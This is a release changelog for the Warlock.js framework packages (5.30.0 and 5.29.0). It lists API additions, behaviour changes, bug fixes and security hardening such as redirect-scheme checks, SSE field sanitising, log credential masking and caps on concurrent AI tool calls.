Change Log
5.30.0 October 16, 2026
Fixes for issues found while building real apps on 5.29, plus a security and correctness review. Security: request logs no longer carry OAuth codes, signed-URL credentials or raw Request/Response objects (route logging policy, masked URLs and query), log and cache output masks email addresses with a linear pattern, <Form> only enhances same-origin targets and redirects refuse javascript: targets on the server and the client, SSE event names and ids are stripped of line breaks, login throttles key by an HMAC of the credential, and parallel AI tool calls are capped and serialised per file. HTTP: a request-lifetime request.signal, bounded SSE and stream retention with backpressure, graceful shutdown that closes idle keep-alive connections, typed http.serverOptions, http.errorMapper, shared rate limits through @warlock.js/cache, and @warlock.js/core/errors. Seal: v.literal("") and .default("") keep empty strings, optional discriminated unions accept omitted fields, and validate() returns typed output. Web: 4xx error pages hydrate, <Head /> renders the viewport, <Form independent>, redirect submissions wait for the new page, and production starts without Vite or Babel. Breaking: log methods return the logger instead of a promise (await log.flush() waits), and AI tool calls in one trip run concurrently by default (toolDispatch: "sequential"). create-warlock works on pnpm 9 and 10 again. Lockstep release across all 31 packages. Generator matrix scope: none; before publishing, the blog on the 5.30.0 tarballs passed the release gate; after publishing, the registry confirm timed out on a delayed @warlock.js/ai-mistral publish, every package was then confirmed at npm origin and the family installed from npm, and the blog check against npm was not run in that job.
Generator matrix: not run for this release.
- Added
request.signal: anAbortSignalthat aborts when the client disconnects before the response finishes (not when the request body finishes reading, never on normal completion); its listener is attached on first access and removed when the response closes. - Added Stream backpressure:
response.stream()'s controller gainswrite(data)(sends, then waits until the client can take more;falseonce it is gone),drain(),backpressured,signal(aborted on client disconnect, not onend()) andonDisconnect(fn), matchingresponse.sse(). - Added SSE backpressure:
sse.write(event, data, id?)sends and waits until the client can take more (falseonce it is gone), plussse.drain(),sse.backpressuredandsse.signal(aborted on disconnect). - Added
http.serverOptionsis typed (HttpServerOptions), including Node's nativehttpoptions such asserverOptions.http.maxHeaderSize; it was already forwarded to Fastify but the config type could not express it. - Added
@warlock.js/core/errors: a side-effect-free subpath withHttpErrorand its subclasses (BadRequestError,ResourceNotFoundError, …). A standalone helper or worker can import it without bundling Cascade, Cache or the MongoDB driver; the classes are the same ones the root exports, soinstanceofholds across both. - Added
http.errorMapper: map errors that are not anHttpErrorto{ status, message?, payload? }(or anHttpError), so domain errors shared with non-HTTP processes need not extend Core. A mapped 5xx stays opaque unless the mapper sets a message; a mapper that throws is logged and ignored. - Added Per-route request logging policy:
logging: { body?: boolean, query?: boolean }on a route, with app-wide defaults underhttp.logging(plusredactQueryParams). It is applied before any log entry is built, so a schema- or middleware-rejected body never reaches a log channel. - Added
request.toLogSnapshot(),buildRequestLogSnapshot()andredactUrlCredentials(): the bounded, plain-data view of a request that log entries now carry. - Added
purgeImageVariants(path?, { disk? })removes one file's cached image derivatives, or a disk's whole derivative cache. - Added
createUploadedFileController({ disk })serves the originals and variants of any local disk, andresolveImageVariant({ disk?, path, variant, format? })resolves (and renders on a miss) one variant for an app's own route, e.g. a private disk behind auth.uploadedFileControlleriscreateUploadedFileController(). - Added Shared rate limits:
http.rateLimit.store: "cache"counts in@warlock.js/cache, so every process on a shared driver (Redis, Postgres) shares the limit;middleware.rateLimit()follows it or takes its ownstoreand a stablename. A@fastify/rate-limitstore class can be passed asstoretoo. Windows are fixed and clock-aligned. Each route with its ownrateLimitcounts separately (namespaced by method and URL from the plugin'srouteInfo, hashed so/users/:idand/users/idnever merge). A cache outage fails open on both limiters (skipOnErrordefaults totruefor this store) and is logged at most once a minute. Thenullandfilecache drivers are refused withUnsupportedRateLimitDriverError(one stores nothing, the other never sweeps expired windows and does not share increments between processes). - Changed
response.stream()no longer keeps rendered chunks.response.bodyafterend()holds the lastretainChunkschunks written bysend(),write()orrender()(response.stream(type, { retainChunks }), default 0); it used to hold everyrender()chunk. - Changed
response.stream(): after the client disconnects,send()/render()are silent no-ops andendedistrue(they used to write to the closed socket);send()afterend()still throws. - Changed
@fastify/staticis only loaded when there is something to serve — at least onerouter.directory(), or an existing public folder (storage.publicRoot, which now also acceptsfalseto turn it off). Its directory-listing module callsos.cpus()at load, which cost a measured ~0.4–0.5 s of cold start in an app that served neither. With no public folder,reply.sendFileis no longer decorated by that plugin;response.sendFile()is unaffected. - Changed
@warlock.js/core/errorsalso resolves inside the framework repository (a rooterrors/index.tsre-export, not published), so workspace packages and tests can import it by its package name. - Changed
response.sse()no longer keeps every sent event.response.bodyafterend()holds the lastretainEventsevents (response.sse({ retainEvents }), default 0), so long-lived streams no longer grow with their history. - Changed BREAKING (only for a custom log channel that reads
context.request/context.response): request log entries carry aRequestLogSnapshot, not theRequest/Responseinstances (context.requestis{ id, method, url, route, name, ip, userAgent, query?, body? };response.logadds{ statusCode }). Native request/reply graphs no longer reach log channels, and credential-bearing query values (secret,token,apiKey,signature,code,X-Amz-*, …) are masked in the logged URL.warlock upgrade --from 5.29 --to 5.31.0applies the mechanical part (codemodrequest-log-snapshot). - Changed
warlock add notificationswrites a smaller, convention-following module:models/notification/(model with aNotificationResource, migration),resources/, a validatedschema/list-notifications.schema.ts(limitcapped at 50, norequest.all()), a guardedtypes/notifications-request.type.ts,services/,utils/locales.json, one controller per file for list / unread-count / mark-read / mark-all-read registered throughrouter.route(), a commentedgate()permission hook, and a 401 spec per controller when the app has the test feature. The clear-all and delete endpoints are no longer generated. Apps that already have a notification model (5.29 layout included) are skipped, and a freshly ejectedconfig/notifications.tsthen imports the 5.29 model path. In an app that already hassrc/app/notifications, no second model or migration is added, existing files are kept (and listed), andnotFoundis merged into an existingutils/locales.json. The mark-read controller turns a numeric:idinto a number (integer ids on the default MongoDB stack) and keeps other ids as strings; the list query drops unknown keys such as a cache-busting_instead of rejecting them. - Changed Image derivatives are cached per source (
<cacheDirectory>/<2 hex>/<sourceKey>/<size-mtime>/<hash>.<ext>). Deleting or moving a file through a local disk (delete,deleteMany,move, anddeleteDirectoryfor every file under it) removes its derivatives, and a rewritten source's old derivatives are pruned once a new one is written, so the cache no longer grows forever. Pruning re-checks the source first, so a request that read an older version never deletes the newer version's derivatives, and a derivative pruned mid-request is rendered again instead of answering 500. - Changed Concurrent variant requests for the same file on two disks (a mirror copied with its mtime) no longer share one generation, which left the second target unwritten and answered 500.
- Changed A warning is logged once when the image-variant cache sits inside the public folder: a configured
uploads.images.cacheDirectoryis shared by every local disk, so private derivatives there would be publicly served. - Changed
storage.use(name)(andStorageManagerContract.use) is typed asScopedStorage, the class it returns, sodeleteDirectory,copyDirectory,moveDirectory,emptyDirectory,putFromUrl,prependandappendtype-check without a cast. - Changed
middleware.rateLimit()returns an async middleware (its in-memory path still completes synchronously). - Changed The
run-appskill lists where each pnpm version reads build approvals (allowBuildson 10.26+, workspaceonlyBuiltDependencieson 10.5–10.25,package.jsonbefore 10.5); it used to say onlyallowBuildsworks. - Fixed Graceful shutdown no longer waits out its timeout on keep-alive connections whose request finished during the drain: in-flight responses answer
Connection: closeand connections are closed as they go idle (defaultforceCloseConnections: "idle"), so later connectors still shut down. Active responses are never cut short. - Fixed A
response.sse()orresponse.stream()started after graceful shutdown began keeps the drain'sConnection: close; its ownConnection: keep-aliveused to override it and holdclose()until the shutdown timeout. - Fixed
response.sse()removes line breaks and NUL from event names and ids, and writes a multi-linecomment()as one comment line per line, so values built from user input cannot inject SSE fields or events. - Fixed An
onDisconnecthandler onresponse.sse()orresponse.stream()that throws is logged and no longer crashes the process or skips the handlers after it. - Fixed
warlock.config.tsloads when it imports local TypeScript without an extension (./src/connectors/local) or through a tsconfigpathsalias, on Node without native TypeScript and with native type stripping alike. The fallback bundles the config's local graph with esbuild, keeps packages external (oneBaseConnector/container identity), runs the config once, rethrows its own errors unchanged, keeps each inlined module'simport.meta.url, and removes its temp file. - Fixed
v.file()rule methods (maxSize,image,accept,mimeType, …) returnthis, so theUploadedFileoutput type survives the chain;saveTo()is typed as astringoutput. - Fixed The dev server and the HTTP test server register module
src/app/<module>/utils/locales.jsondictionaries at boot; they were left out of the boot file set, sot()printed raw keys until the file was edited. - Fixed The HTTP test server no longer keeps Vitest's main process alive after teardown: the loader-hook
MessagePortis unreferenced except while a version-bump flush waits for its acknowledgement. - Fixed A quoted config key (
"machine-thumb",'single-quoted') is written to.warlock/typings/config.d.tswithout its quotes, so the generated file stays valid TypeScript; computed keys are skipped, and a quoted storage driver name is no longer quoted twice. The typings manifest now records its generator version, and a manifest written by an older version is discarded, so aconfig.d.tsbroken by 5.29 is regenerated on the first boot after upgrading instead of only when a config file changes. - Fixed The circular-dependency check no longer reports a file as importing itself because a comment mentions
import("./same-file"): the regex fallback ignores comments and self imports are not dependency edges. Comments are found with the TypeScript parser, so a regex literal such as/\/*$/or//inside JSX text is never mistaken for one and the imports after it are kept. A pureexport type { X } fromre-export adds no dependency edge on either parsing path. - Fixed
warlock add web'ssrc/web/root.tsxstub notes that<Head />renders the viewport tag (metadata.viewportchanges or disables it) and does not hand-write a second one. - Fixed Mail logs no longer print recipient addresses: send, development, test-mode, partial-rejection and error lines show
m***@example.com.MailResultand a thrownMailErrorstill carry the real addresses. - Fixed
http.rateLimithad no way to share counts between processes except an ioredis client, which the node-redis connection of@warlock.js/cachecannot provide. - Fixed Request log snapshots mask credential query parameters (
code,signature,sig,X-Amz-*,X-Goog-*, the logger's secret keys andhttp.logging.redactQueryParams) in the parsedquerytoo, not only inurl; OAuth authorization codes no longer reach log lines. NewredactQueryCredentials(). - Fixed
warlock.config.tsfallback: a catch-all tsconfigpathspattern ("*": ["./types/*"]) no longer inlines packages into the config bundle; an alias is inlined only when it resolves outsidenode_modules. - Fixed
warlock.config.tsfallback:import.meta.url/dirname/filenameare replaced only where they are real expressions, so the same words inside a string or comment no longer break or alter the bundled config. - Fixed
warlock.config.tsfallback runs only for the config's own unresolved relative or aliased imports (not for a package that is not installed, or a module missing insidenode_modules), and also when native type stripping refuses the TypeScript (ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX,ERR_UNSUPPORTED_NODE_MODULES_TYPE_STRIPPING). A loading error in the bundled config nameswarlock.config.tsinstead of the temporary module. - Fixed
warlock add imageon pnpm 9 and 10.0–10.4 no longer creates a settings-onlypnpm-workspace.yaml(packages field missing or empty): the sharp approval goes where the installed pnpm reads it (package.jsonpnpm.onlyBuiltDependenciesbefore 10.5, the workspace'sonlyBuiltDependencieson 10.5–10.25,allowBuildsfrom 10.26). Inside a parent pnpm workspace no per-app file is written.
- Added
<Form query={{ … }}>sets the query string of the URL the form posts to (the current page, orto's page), without touching the body or the namedaction. - Added
<Form independent>submits alongside a pending submission instead of sharing it: a Cancel next to a long-running Start. Neither aborts the other; a double submit of the same form with the same fields still shares one request, another form posting the same action (a Cancel per row) never does, and unmounting a form cancels only its own submission. Its result, redirect included, is dropped once the user has moved to another page. - Added
LinkPropsWithout<K>andDistributiveOmit<T, K>: omit props fromLinkPropswithout collapsing its destination union, so a wrapper keeps the required-params check. - Added
isRouteName(name)narrows a data-driven string to a route name after checking the published route table, so it reaches<Link to>orhref()without a cast. - Added
metadata.viewport(string | false).<Head />now emits<meta name="viewport" content="width=device-width, initial-scale=1">by default, so a new app lays out at device width on phones; ametaentry namedviewportis still honoured. Like the charset it is document-level: client navigation never rewrites it, nor a viewport tagroot.tsxwrites itself. - Added
webConnector({ build: { testOnly } }): app-root-relative folders or files the production build's page-graph scan skips. - Changed A page action that redirects now ends its submission once the redirected page is on screen:
useIsSubmitting()staystrueandonSuccesswaits until the destination's fresh loader data has committed, so a revision-guarded form cannot resubmit stale data. - Changed
useIsSubmitting()istruewhile any submission is in flight, including independent ones. - Changed A production start no longer loads Vite, Rollup or
@babel/parser: the web connector imports its Vite dev-server config, page-registry plugin, dev route installer, dev 404 reporter and the sitemap's page-walk fallback only on the development path, so its static graph shrinks from 185 to 67 modules. - Fixed
<Form>honours the submit button'sformActionand itsname/value. The enhanced path posted to the form's URL; with no navigation runtime the fallback calledform.submit(), which dropped both. Without a runtime the browser now submits natively, and a late fallback re-submits through the same button. - Fixed A page request the client abandoned before its loaders finished no longer renders: it stops with
ClientDisconnectedErrorbefore anything is committed, and the page handler neither reports it nor writes a response. It used to render layouts without their loader data and log a 500. A loader timeout on a connected request still renders its 504. - Fixed A 4xx error page (a thrown
ForbiddenError/BadRequestError, a failed page validation) now hydrates. The client payload gate accepted only 500–599 and onlyname/message/stack, so it refused the 4xx status, the validationerrorsand the productionerrorCodethe server sends, and logged "hydration payload … could not be read". - Fixed The production build's
import.meta.url/ static-asset scan skips*.spec.*and*.test.*files and__tests__/__mocks__folders; a test helper undersrc/webno longer failswarlock build. - Fixed Web's React contexts (locale, document, session) live in one
Symbol.forregistry onglobalThis, so a second evaluation of their module underwarlock devreuses them instead of makinguseLocale()throw "called outside Warlock's LocaleProvider" until restart. - Fixed A request abandoned between the layout and page loaders no longer renders the page with
dataundefined; covered by the abandoned-request fix above, with a regression test for this case. - Fixed An abandoned page request still reports a genuine failure (a loader or session-resolver bug) that happened before the disconnect; only failures the abort itself caused stay silent.
- Fixed An independent submission no longer draws the page the user left over the page a navigation already in flight committed, and a page swap no longer leaves another operation's pending commit unresolved, which could keep
useIsNavigating()true and hang a redirect's wait. - Fixed The build's test-folder skip reads folder names below the web root, so an app located under a
__tests__folder is still scanned. - Security A redirect target is followed or emitted only when it is relative or
http:/https:.response.redirect()in a loader or action throws forjavascript:,data:and other schemes (and for control characters), soredirect(request.input("next"))can no longer send script to the browser; the client refuses such anx-warlock-redirectheader and never hands one towindow.location.assign(). - Security
<Form>enhances only same-originhttp(s)targets. A submit button whoseformactionnames another origin is posted natively instead of being fetched, so the page never trusts another origin's redirect header or page payload.
- Added
TypedValidationResult<T>andValidatedOutput<T>types. - Added
pnpm bench:typesmeasures inference compile cost on a generated composed-schema project (16 entities, 8 services) and fails when instantiations or types grow more than 5% overbench/types-baseline.json. It also fails when it cannot read a metric or is given a malformed option, warns when the TypeScript version differs from the baseline's (--strictmakes that a failure), and removes its temporary project on Ctrl+C. - Changed
validate()takesdata: unknowninstead ofany. - Changed
Infer.Input/Infer.Outputof an object is one flat object type instead of an intersection of its optional and required halves; the shape is unchanged and compile cost moves by 0.1%. - Changed
pnpm typechecknow also checks theexpectTypeOfassertions intests/unit/types/(tsconfig.typecheck.json); they were never enforced before. - Changed
.refine()callbacks stayvalue: anyon purpose: custom rules run before an object or array validates its children, so the value is not the schema output. - Changed Behaviour change:
v.union([...])now checks a present empty value ("") against its members instead of accepting it unchecked; a missing key is still the required/.optional()question.v.union([v.literal("x"), v.int()]).present()now rejects"". - Changed
validate()keeps the typed output ofv.record(...)(Record<string, …>); only an index signature overany/unknown(the wideSchema) staysany. - Fixed
v.literal("")accepts a present""again (regressed in 5.25): its default (implicit) required state and.present()keep it,.optional()and.nullable()no longer drop it. An explicit.required()orrequiredIf(...)still rejects"". A literal set without a blank value still reads""as missing. - Fixed A field with an empty default (
v.string().max(n).default("")) no longer fails "is required" when the input omits it, sendsnull, or sends a blank string (an untouched HTML input); the output is the default. - Fixed A
nulldefault no longer satisfies "required" on a field that is not.nullable(), and an empty default of the wrong type (v.int().default("")) now fails the type rule instead of being returned unchecked. - Fixed
v.discriminatedUnion(...).optional()accepts an absent,undefinedornullfield, as every other validator does;.default(...)replacesnulltoo and is validated through its branch. A required union reports a missing ornullfield with therequirederror;.nullable()keepsnull. - Fixed
schema["~standard"].validate(...)on a discriminated union resolves to the branch output union instead ofunknown.
- Added
log.onChannelError(handler)/configure({ onChannelError })and theChannelErrorHandlertype: receives a channel's sync throw or async rejection fromlog(), a redaction that threw, or a timed-outflush(). Default: one stderr line. The handler may be async; a rejection is swallowed. - Added
maskEmail(address)andmaskEmailsInText(text): mask email addresses (m***@example.com) inside message strings and cache keys, which key-based redaction cannot reach. Core's mail logs and the cache drivers' key logs use them. - Changed Logging is fire-and-forget: level methods no longer return a promise, so
@typescript-eslint/no-floating-promisesno longer flags every call site. - Changed
log.flush()drains every channel concurrently: each waits for its own in-flight async deliveries (including entries logged while the flush runs), then runs itsflush(), so a hung network channel no longer holds up the file channel. - Changed
log.flush({ timeout })is bounded: it resolves aftertimeoutms (default 5000,DEFAULT_FLUSH_TIMEOUT_MS;Infinitywaits without a limit) and reports each channel still draining to the channel error handler. Before, one delivery that never settled madeflush()(and a graceful shutdown awaiting it) wait forever. - Changed
maskEmailsInTextcuts text longer thanMASK_EMAILS_MAX_LENGTH(16,384 characters) and marks the cut, so masking a huge cache key or message has a bounded cost. - Fixed A channel whose
log()rejected became an unhandled rejection (looping throughcaptureAnyUnhandledRejection), and one that threw synchronously stopped delivery to the channels after it; both are now isolated and reported to the channel error handler. - Fixed A redaction that threw (a
censorfunction that fails on an unexpected value) threw at the call site and skipped the remaining channels. A channel's own redaction failure is now isolated like any channel failure; a logger-wide one drops the entry (it is never delivered unredacted) and is reported to the channel error handler. - Fixed An async
onChannelErrorhandler that rejected became an unhandled rejection. - Fixed Security:
maskEmailsInTextbacktracked quadratically on long runs of address-like characters with no domain (about 11 s on 75 KB), and it runs on cache keys built from request input. Its pattern is now bounded and linear. It also masks addresses with letters from any script (jöhn@exämple.de), andmaskEmailno longer keeps half of a surrogate pair.
- Added Provider content blocks:
ProviderContentBlock({ provider, type, data }) onModelResponse.blocks, the streamingdonechunk,Message.blocks,CapturedMessage.blocks,LLMTrip.blocksandAgentResult.blocks. The agent copies a response's blocks onto the assistant turn so the adapter can replay it verbatim (thinking, compaction). - Added
FinishReasonvaluescontext_exceeded,pause_turnandrefusal. The agent resumes apause_turnby replaying the paused turn, withinmaxTrips. - Added
toolDispatch: "concurrent" | "sequential"onAgentConfigandAgentExecuteOptions(ToolDispatchMode), concurrent by default. - Added
maxConcurrentToolsonAgentConfigandAgentExecuteOptions(default4): the cap on a trip's tool calls running at once, so a model (or a prompt injected into its context) cannot start an unbounded number of tool calls in one turn. - Added
mapWithConcurrency(items, limit, mapper)utility: an order-preservingPromise.allwith a concurrency cap. - Added
ModelCallOptions.providerOptions(adapter-only options keyed by wire format) andcacheControl.ttl("5m" | "1h"). - Added
MockModelResponse.blocksfor scripting provider blocks in tests. - Fixed The semantic cache no longer stores a paused (
pause_turn) turn as a final answer, and stores a resumed turn whole (every segment), not only its last segment. - Fixed VCR request hashes include
providerOptions, so two calls that differ only in provider options (betas,context_management, …) no longer replay the same recording. It joins the hash only when a provider entry carries a value —{},{ anthropic: {} }and{ anthropic: { betas: undefined } }hash like noproviderOptions— so existing cassettes recorded without it still match.cacheControl(breakpoints,ttl) stays out of the hash: it changes billing, not output.
- Added Responses with thinking, redacted-thinking, compaction, server-tool or cited-text blocks return the whole ordered turn as
ModelResponse.blocks(and on the streamingdonechunk); an assistant message carrying Anthropicblocksis replayed verbatim. - Added
providerOptions.anthropic(AnthropicCallOptions):betasroutes the call throughclient.beta.messages,bodymerges extra request fields last (context_management,fallbacks,inference_geo, …),thinkingDisplaysetsthinking.display. - Added
AnthropicModel.countTokens(messages, options?)counts input tokens throughmessages.countTokens;AnthropicModelis exported andAnthropicSDK.model()returns it. - Added Per-call
cacheControl.ttloverrides the model'spromptCacheTtl. - Changed Consecutive tool results are sent as one
usermessage with severaltool_resultblocks, as Anthropic expects for parallel tool use. - Changed Claude 5-family thinking rules: Opus 5.5, Sonnet 5.5 and Fable 5 / 5.1 never receive
budget_tokensordisabled. - Changed
effort: "none"on Claude Sonnet 5.5 sendsthinking: { type: "between_tools" }(its only thinking-off form, sent alone with nooutput_config.effortordisplay); it used to omitthinking, so the model still thought at its default effort. Opus 5.5 and Fable 5 / 5.1 have no thinking-off form and keep omittingthinking. - Fixed
providerOptions.anthropic.thinkingDisplayis applied only to adaptive thinking, so it is never sent besidebetween_tools(a 400). - Fixed Security: a stored block is replayed only when its
data.typeequals its declaredtypeand the type is one Claude returns on an assistant turn (text, thinking, redacted thinking, tool use, server-tool use and results, MCP, container upload, compaction). A transcript from outside the process can no longer smuggle atool_useor user-side block past the tool-id check; such turns are rebuilt fromcontent+toolCalls.
- Added
exec()takes a per-callsignal(ExecOptions);run_shellandrun_testspass the agent run'sctx.signal. An already-aborted signal never starts the command; an abort mid-run kills the process tree. Both resolve with the newcancelled: trueonRunShellResult, never together withtimedOut. - Added
WorkspaceBackendExecOptions.signalandWorkspaceBackendExecResult.cancelled?for custom backends; the local backend removes its abort listener when the command settles, and the mock backend honours a pre-aborted signal. - Added Read results carry
startLine,endLine,truncated,bytesCappedandtotalBytes;readFile()and theread_filetool now return the sameReadFileResultfor the same arguments. - Fixed
read.maxBytesis enforced: the returnedcontent(line-number prefixes and newlines included) never exceeds it, so a single long line no longer bypasses the cap. Lines are cut on a character boundary, never mid-character;hashremains the SHA-256 of the whole file. - Fixed Command output clipped at
shell.maxOutputBytesis cut on a character boundary instead of ending in a replacement character. - Fixed A read window past the end of the file returns empty
contentinstead of one numbered empty line. - Fixed Writes, edits and removes of the same path are serialized, so two concurrent
edit_filecalls (the agent now dispatches a trip's tool calls concurrently) can no longer both pass the stale-hash guard and silently drop one edit; the second re-reads and is rejected as stale, or applies on top when it pinned no hash. - Fixed Aborting a command after it has already exited (while its stdio is still draining) no longer reports it as
cancelled; the tree is still reaped so the result settles. - Fixed On Windows, a
taskkillthat cannot be started no longer crashes the process with an unhandled'error'event; the direct child is killed instead.
- Changed Email addresses inside logged cache keys are masked (
user.member@example.comlogs asu***@example.com), in the base driver's operation log, in error lines (written even with logging off: SWR refresh failures, lock release, clone failures), in the "Cannot increment non-numeric value" error, and in the null driver. - Fixed
redisdriverincrement()works on Redis 6. With a defaultttlconfigured it ranEXPIRE … NX, which only Redis 7+ accepts: on Redis 6 the call threw after the count had already gone up, which silently disabled login throttles and the cache-backed rate limiter. The increment and the default TTL are now applied together by one Lua script, and a TTL the counter already has is never shortened. - Fixed The default
increment()(file and null drivers) reads a counter's value and deadline in one read. A counter that expired between two separate reads used to be rewritten from its stale value with no expiry at all, and every increment rounded the remaining TTL up, pushing the deadline up to a second later each time. - Fixed
filedriver: an entry stored without a TTL (itsexpiresAtis written to JSON asnull) was read back by the internal entry reader as already expired, soswr()freshness checks and TTL-preserving writes treated it as missing.
- Changed Selecting notifications scaffolds the smaller, convention-following
src/app/notificationsmodule thatwarlock add notificationsnow writes (see@warlock.js/core). - Fixed New apps get the viewport tag from
<Head />(@warlock.js/web5.30.0), so phones lay pages out at device width and responsive CSS applies; the scaffoldedsrc/web/root.tsxsays so and does not hand-write a second one. - Fixed pnpm before 10.5 could not install a new app (
ERROR packages field missing or empty): pnpm 7–9 and 10.0–10.4 reject the settings-onlypnpm-workspace.yaml. The scaffold now readspnpm --versionand writes approvals where that version reads them: no workspace file andpnpm.onlyBuiltDependenciesinpackage.jsonbefore 10.5; the workspace file plusonlyBuiltDependencieson 10.5–10.25 (which ignoreallowBuilds); the unchangedallowBuildsfile on 10.26+, 11 and 12. It does not addpackages: ["."], which fails every laterpnpm addon those versions (ERR_PNPM_ADDING_TO_ROOT). Feature approvals (sharp) follow the same rule; apps inside an existing workspace still get neither. - Fixed The feature multiselect no longer prints stacked copies of itself in a short or narrow terminal: the 22-option list pages to the terminal's height, and each row's hint is shortened to fit one line (a wrapped row made clack redraw below the previous frame). The AI and agent-target multiselects use the same sizing.
@clack/promptsis now^0.8.2, the first version whose multiselect pages.
- Changed The login throttle keys accounts and IPs by a keyed hash (
auth.throttle.count.email.<hmac>,auth.throttle.count.ip.<hmac>) instead of the raw address or IP, so cache logs never show them. The HMAC key is derived fromauth.accessToken.secret(as the OTP code MAC is), so a list of known addresses cannot reverse it; without a configured secret it falls back to SHA-256. The value is trimmed and lower-cased first, so" Sara@x.io"and"sara@x.io"share one bucket. Applies tologinThrottleMiddlewareand every preset built on it (token issue/consume, OTP); a customidentifyis used as is.throttleIdentifierHash(kind, value)is exported. - Changed A throttle lock stores its own deadline, so a cache driver with sliding expiration (
memoryExtended) can no longer keep a retrying client locked pastlockoutDuration. Locks written by 5.29 (true) are still honoured until they expire. - Changed The throttle warns once when the cache driver is
null, which stores nothing, so the throttle can never lock.
- Added
moveDirectoryNoReplaceAsync(from, to, { expectedSource?, syncParents? })(alsofs.dirs.moveNoReplace): moves a directory only when nothing holds the destination, refusing atomically instead of replacing an empty directory the wayrename()does. It claims the name with an exclusivemkdir, renames over that placeholder, verifies the moved(dev, ino)and never falls back to copy + delete. - Added
DirectoryMoveErrorwithoutcome(not-moved: this call moved and replaced nothing /moved/uncertain),reason, andplaceholderCleanupErrorwhen the empty placeholder it claimed could not be removed;directoryIdentityAsync()and theDirectoryIdentitytype. When the source vanishes just before the rename the claim is released and the error isnot-moved/source-identity-mismatch. The destination parent may be a symlink to a directory (macOS/tmp, a deploycurrentlink). POSIX only: refuses explicitly on Windows and across filesystems.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Docs and skills point at the model path
warlock add notificationswrites since 5.30.0:app/notifications/models/notification/notification.model.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
- Changed Lockstep release; package APIs are unchanged.
5.29.0 October 1, 2026
Fixes for applications upgrading from 5.27, typed nullable and list resources, and one module graph in dev. locales.json files under $sites/<site>/… (and other $ folders) work again: the folder only names the group when $group is missing (a 5.27 regression). In warlock dev, the dev server has its own Vite cache so a vitest run no longer breaks it, multi-site roots get their site's translations, the original error of a broken page is logged first instead of a follow-on useLocale() error, and src/app modules imported by pages share the instance the API side uses. New in @warlock.js/core: nullable(Resource) for resources that may be null (resources, responseSchema, OpenAPI, route types) and [Resource] list fields in defineResource; cast strings inside arrayOf item schemas are no longer dropped. useTrans() returns string instead of any. Every package's skills now refer to other topics by name, so the links work after they are copied into an app. Lockstep release across all 31 packages. Generator matrix scope: none; before publishing, the blog on the 5.29.0 tarballs passed install, typecheck, a fresh migrate and seed, devtools in dev with the API docs, a production build with browser smoke, and the --role=worker and --role=api starts; after publishing, the same check passed against npm.
Generator matrix: not run for this release.
- Fixed
warlock devuses its own Vite cache (node_modules/.vite/warlock-dev), so a vitest run that re-optimizes dependencies no longer wipes the dev server's cache and 500s every SSR page until a restart. - Fixed The original error is no longer hidden behind a follow-on one. When a client navigation cannot build the page tree (e.g. a server-only barrel imported from browser code), the original error is kept across the forced reload and logged first as the ROOT CAUSE; later errors in that document, such as "useLocale() was called outside Warlock's LocaleProvider", are marked as probable consequences. On the server, a page module that fails to load logs its original error at install time, and an error page that itself fails is reported as a consequence naming the root cause.
onClientErrorreceives the new"navigation"kind. - Fixed
useTrans()returns a typed translator: it returnsstring, notany, and keys are still checked againstTranslationKeyRegistry.Translateis one plain signature, so a lambda passed where aTranslateis expected (label((key) => t(key))) keeps its parameter type. New type exports:TranslateFor,TranslationConverter,InlineTranslation. - Fixed Multi-site apps in
warlock dev: a site'sroot.tsxand itslocales.jsonare keyed by the same site folder (as in production), so the rootLocaleProvidergets the site dictionary instead of{}, including when the client rebuilds after an SSR failure. - Fixed
locales.jsonfiles under$-prefixed folders (src/web/$sites/<site>/..., guard folders) no longer failwarlock generate.typings, dev or build with "segments must match …" (5.27 regression). The folder-derived namespace is computed only when the file declares no$group, and skips$folders and the site name after$sites. - Fixed
warlock dev: ansrc/appmodule imported by a page, layout or root is the same instance the API side uses (one module graph), so module state such as anAsyncLocalStorageset in middleware, caches and registries is shared between controllers and page loaders. Pages reach those modules through a trampoline to the native module core already loaded. Modules that (transitively) import@warlock.js/web, live insrc/web, are client-bound, or need Vite (import.meta.env/glob/hot, CSS or asset imports) keep loading through Vite as before. Dev only; production builds are unchanged.
- Added
nullable(Resource): a resource that may benull, accepted as adefineResourcefield and inresponseSchemabodies. A field outputsnull(not omitted) for null/undefined input;ResourceOutput/ResponseBodyOutputtype it asOutput | null; OpenAPI documents it asoneOf [resource, null]; route types emit… | null. - Added
[Resource]list fields indefineResource: each item is mapped through the resource,[]stays[], and the output type is an array (the same syntaxresponseSchemaalready accepts). PlainResourcefields behave as before. - Fixed Cast strings inside an
arrayOf({...})item schema ("number","string?","date","string[]") were silently dropped from the resource output; they are now cast like top-level fields, matching the output type. - Fixed
parseLocaleDictionary()acceptsdefaultNamespaceas a function, called only when the file declares no$group, so a folder that cannot name a namespace never fails a file with an explicit$group. - Fixed
warlock devpublishes eachsrc/appfile it reloads ({ url, generation }, after the loader hook confirms the bump) through thedevelopment.appModulescontainer key, so@warlock.js/webcan load the same module instance in page loaders.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- Changed Lockstep release; package APIs are unchanged. Skills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
